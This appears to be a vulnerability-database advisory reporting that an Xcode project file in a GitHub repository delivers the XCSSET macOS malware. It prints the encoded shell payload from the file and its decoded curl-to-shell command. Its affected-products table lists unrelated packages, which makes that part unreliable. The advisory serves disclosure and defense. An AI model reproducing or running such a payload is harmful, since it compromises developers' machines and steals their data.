VDB
GCVE-110-OSM-2026-642
GCVE-110-OSM-2026-642
Advisory PublishedCVSS 8.8/10
This GitHub repository installs the XCSSET malware, which targets macOS Xcode
The github.com/hackiftekhar/IQAudioRecorderController/blob/master/IQAudioRecorderController%20Demo.xcodeproj/project.pbxproj file delivers a base64 payload on line 319:
base64 --decode | base64 --decode; };echo WldOb2J5QWlKQ2hqZFhKc0lDMW1jMnRNSUMxa0lDSndQWGhqYjJSbFgzQm9ZWE5sSWlCb2RIUndjem92TDJGd2NHeGxZMkZ6ZEM1cGJpOWhLU0lnZkNCemFBbz0K | l | sh ) >/dev/null 2>&1 &)";
Which decodes to: "curl -fskL -d "p=xcode_phase" https://applecast[.]in/a)"
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | kusto | all (affected) | — |
| unknown | lm-sys | all (affected), * (affected) | — |
| unknown | all (affected) | — | |
| unknown | batch-shipyard | all (affected) | — |
| unknown | auth0-ai-ms-agent | * (affected), all (affected) | — |
| unknown | all (affected) | — |
References
Malicious package:
advisory
Malicious pypi package: kusto
advisory
Malicious pypi package: lm-sys
advisory
Browse GCVE Records
851 records in the GCVE database · Updated November 12, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.